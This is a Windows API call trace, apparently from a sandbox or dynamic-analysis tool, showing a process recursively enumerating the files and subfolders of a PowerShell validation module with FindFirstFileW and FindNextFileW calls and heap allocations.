	[0182.480] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.484] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1
	[0182.484] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.626] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.626] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.627] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.627] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.627] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.627] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.627] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.627] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.627] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.627] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.627] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.627] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.627] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.627] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.627] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.647] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1
	[0182.647] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1
	[0182.648] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1
	[0182.662] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1
	[0182.662] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 1
	[0182.662] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0182.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.662] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.662] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.662] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0182.663] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4173f68
	[0182.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76efe8
	[0182.663] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.663] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1
	[0182.664] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4183f70
	[0182.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.664] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.664] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.664] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.665] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.665] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.665] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4161fa8
	[0182.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.665] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.665] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.665] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.665] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.665] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0182.672] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.672] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0182.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.672] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0182.672] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0182.672] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1
	[0182.672] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4183f70
	[0182.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.672] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.672] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1
	[0182.672] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
